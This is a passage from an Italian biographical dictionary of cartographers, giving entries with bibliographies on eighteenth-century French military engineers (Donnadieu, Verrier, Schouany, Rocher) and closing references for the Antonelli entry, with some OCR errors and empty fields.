Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
AMAT DI SANFILIPPO Pietro, Biografia dei viaggiatori italiani e bibliografia delle loro opere, in Studi Bibliografici e Biografici sulla storia della geografia in Italia, Roma, 1897, Appendice alla II parte. [Cita un manoscritto di Battista Antonelli, Cartas Ynstruciones y Cedulas …, di 265 pagine e 23 carte colorate, con notizie sui paesi dell’America Meridionale e carte topografiche di Rio de Janeiro, stretto di Magellano, Cartagena, Portorico, Santo Domingo, La Havana, Vera Cruz, Portobello, Panama, ecc.].
ANGULO IÑIGUEZ Diego, Bautista Antonelli. Las fortificaciones americanas en el siglo XVI, Madrid, Hauser y Menet, 1942.
ANGULO IÑIGUEZ Diego, Historia del arte hispanoamericano, Barcelona-Buenos Aires, Salvat Editores, 1945.
APARICY Y GARCÍA, Don José, Colección de documentos copiados en el Archivo de Simancas como datos para escribir la historia del Cuerpo de ingenieros, Servicio Historíco Militar, Madrid, Biblioteca Central. Vol. XIV, Doc. N. 3.353, signatura 1-4-8, Legajo 819.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CALDERÓN QUIJANO, José Antonio, Fortificaziones en Nueva España, Sevilla, Escuela de Estudios Hispano-Americanos/CSIC, 1953.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MAGGIOROTTI, Leone Andrea., Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con imprecisioni
PORRAS GIL, Maria Concepción, Battista Antonelli. Progetti e opere difensive difensive nel vicereame del Perù ed in altri territori americani / Battista Antonelli: propuestas y ejecuciones para la defensa del virreinato del Perú y otras tierras americanas, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 113-161.
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
RODRÍGUEZ VILLAFAÑE, Leonardo, Catálogo de mapas y planos de Puerto Rico en el Archivo General de Indias, San Juan de Puerto Rico, 1966.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
SEGRE, Roberto, Significación de Cuba en la envolución tipológica de las fortificaciones coloniales de América, in “Boletín del Centro de Investigaciones Históricas y Estéticas”, 13, 1973, pp. 9-57.
WRIGHT, Irene, Historia documentaria de San Cristóbal de la Habana en el siglo XVI, La Habana, s.e., 1927-30, 3 voll.
ZAPATERO Juan Manuel, El ingeniero militar Bautista Antonelli en las «Yndias Occidentales», 1581-1616, in Viganò, M., (a cura di), Architetti e Ingegneri Militari Italiani all’Estero dal XV al XVIII Secolo, Livorno, Sillabe, 1994, 121-134.

Rimandi ad altre schede: Antonelli, Giovan Battista

Autore della scheda: Antonella Primi, Genova

Donnadieu, Jean (detto Donnadieu de Donnadei)

Jean Donnadieu
N. Montpellier 3 ottobre 1711
M. Briancon 5 maggio 1773

Relazioni di parentela: Di una famiglia borghese della Linguadoca in ascesa nel XVII sec. e incorporata alla fine del Seicento nel ceto mercantile di Nimes, di cui non fanno parte altri ingegneri.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Della sua attività ci interessa quella svolta nel corso della campagna d'Italia e in particolare a Genova, dove è uno degli ingegneri-geografi di fiducia del duca di Ri­chelieu. A lui sono infatti affidate le trattative con Matteo Vinzoni per la cessione della carta dello stato genovese che il Vinzoni aveva preparato su ordine del duca <
Del Donnadieu non si conoscono allo stato attuale carte o reconnaissances del ter­ritorio ligure (note invece per il suo maestro La Blottiere). Secondo Lavis-Trafford (cit. dalla Blanchard) le carte della frontiera fra la Francia e il Piemonte firmate Donadei 1743, mostrano «une perfection dans le dessin et une qualité de la calli­graphie qui revèlent le talent d'un véricable dessinateur-graveur».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingénieurs militaires 1691-1791, Montpellier, lmpr. Louis Jean, 1981.
P. PRESSENDA, Carte topografiche e memorie corografiche. Un contributo alla storia della cartografia alpina, Alessandria, Edizioni dell'Orso, 2002.
M. QUAINI, A proposito di «scuole> e <

Altro:

Rimandi ad altre schede: De La Blottiere; Matteo Vinzoni

Autore della scheda: Massimo Quaini

Verrier, Claude Etienne Cesaire

Claude Etienne Cesaire Verrier
N. La Rochelle 14 agosto 1716
M. La Rochelle 21 ottobre 1775

Relazioni di parentela: Appartiene a una famiglia provenzale originaria della valle de l'Arc, trasferitasi a Tolone per lavori di scultura e imparentata con lo scultore Puget. Già il padre ot­tiene nel 1707 il titolo di ingegnere ordinario e altri due fratelli si danno allo stes­so mestiere, segnalandosi, uno dei due, nella cartografia agli ordini del cugino Claude-Felix Masse e come allievo della scuola di Mezières,

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Non risultano carte anche se la competenza cartografica, di ottima qualità, è segnalata tanto per il padre quanto per il fratello

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BALNCHARD, Dictionnaire des Ingenieurs militaires 1691-1791, Montpellier, Impr. Louis Jean, 1981, s.v.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, COmpagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Vialis

Autore della scheda: Massimo Quaini



Schouany, Rodolphe

Rodolphe Schouany
N. Choiysy (Departement de la Seine) 30 luglio 1759
M. Parigi 13 ottobre 1809

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere geografo

Biografia:
Nasce a Choisy (Départemcnt de la Seine) il 30 luglio 1759 da Jacques Schouany «suisse des appartemens du Roy en son chateau de Choisy» e da Marie-Catherine Mourry.
Muore il 13 ottobre 1809 a Parigi.

Produzione scientifica:
Conclusa la formazione teorica e pratica -quella in «guerra viva>> avviene soprattutto in Italia con il Bonaparte - riesce a mettersi in buona luce nel bien­nio 1796-98 tanto da essere scelto per la Spedizione d'Egitto. Nell'Armee d'Orient rimane fino al rientro a Parigi con la divisione del generale Belliard (avvenuto il 19 termidoro, anno 99) e fa una rapida carriera diventando prima «chef de Bataillon» e poi < (SHAT, Xem 176, Schouany).
Schouany muore dunque a 50 anni dopo aver fatto 8 anni di campagne di guerra e 6 anni di campagne topografiche: 2 in Baviera e 4 in Italia. Le campagne d'Egitto sono effettivamente le più dure. Dall'analitico Etat des Reconnaissances Militaires faites en Egypte (SHAT, XAM 176) emerge che Schouany lavorò, in condizioni difficili sia per gli attacchi degli arabi sia per la mancanza cli strumentazione adeguata, tanto nel Basso quanto nell'Alto Egitto, essenzialmente per le esigenze dell'esercito e solo in parte per fini conoscitivi, come invece nella provincia di Tebe dove ai rilevamenti fotti con una piccola busso.la d,1 tasca allegò un memoire sul paesaggio agrario e la rete del canali.
Molto materiale di questi rilevamenti si è conservato nei faldoni del Depot de la Guerre e solo in minima parte è stato finora studiato (Quaini, 199.5).
Altrettanto materiale -corrispondenza, disegni, appunti- si è conservato a riguar­do dell'attività per la Carta dei campi di battaglia, solo in parre studiata da Quaini e Pansini. A questi lavori si rimanda per una prima informazione sull'operazione e sul cartografo che ebbe l'ingrato compito di portare a termine un lavoro, che per la molteplicità delle sue direzioni e la varierà delle sollecitazioni a cui dovette sottostare e malgrado le quattro campagne annuali e la perizia degli operatori, rimase incompiuto e finì per avere più che altro un significato di sperimentazione. Per sottolinearne i travagli Martinel definì l'intera operazione una grande «romanzo topografico>>.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
COL. BERTHAUT, Les Ingénieurs géographes militaires 1624-1831, 2 voli., Paris, Impr. du Service Geographique, 1902, vol. I.
V. PANSINI, Un'operazione di cartografia e statistica 1801-1810, tesi di laurea in Storia moderna, Università di Genova, 1994-95.
M. QUAlNI, Appunti per una archeologia del «colpo d'occhio». Medici, soldati e pittori alle origini dell'osservazione sul terreno in Liguria, in L. Coveri e Diego Moreno (a cura di), Studi di etnografia ligure in memoria di Hugo Plomteux, Genova, Sagep, 1983.
M. QUAINI, Dalla cartografia del potere al potere della carografia, in Id. (a cura di), Carte e cartografi il Liguria, Genova, Sagep, 18986.
M. QUAINI, Identità professionale e pratica cognitiva dello spazio: Il caso dell'ingegnere cartografo nelle periferie dell'impero napoleonico, in <>, 90, 1995.

Altro:

Rimandi ad altre schede: Brossier; De Martinel

Autore della scheda: Massimo Quaini



Rocher, Rene Nicolas de la Branchoire

Rene Nicolas Rocher
N.
M. Genova 2 maggio 1747

Relazioni di parentela: Non si conosce il preciso grado di parentela con il sopraddetto N. Rocher.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Non si hanno dettagli sulla nascita tranne che sulla appartenenza a una famiglia nobile originaria di Tours, dalla quale sappiamo che esce nel 1710 un altro N. Rocher de la Branchoire, ingegnere militare ordinario. Morto a Genova per un improvvisa malattia il 2 maggio 1747 (Forti, 1992, p. 133).

Produzione scientifica:
Partecipa alla campagna d'Italia e comanda insieme a Morel de Conflans (ma con il grado di alla sottobrigadiere appena inferiore a quello di brigadiere di More) la Brigata degli ingegneri distaccaci a Genova, dove trova la morte.
Da lettera del 2 di marzo 1747 invia a Parigi un Plan de la Ville de Genes e aggiunge di essere in procinto di fare una carta militare di Genova, che potrebbe essere identificata con la Carte geometrique de la Ville et des environs de Genes (cm. 43,5x 65) che si conserva nell'Archivio del Genio (SHAT, Genie, art. 14, Genes 1, n. 10).
Alla carta è allegato anche un memoire conservato presso lo stesso archivio (stessa collocazione) che riporta il titolo Memoire sur le Carte des Environs de la Ville de Genes, sur le Siege de cette Place et ses fortifications, 4cc.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingénieurs militaires 1691-1791, Montpellier, Impr. Luois Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Rochemore; Morel de Conflans; Matteo Vinzoni

Autore della scheda: Massimo Quaini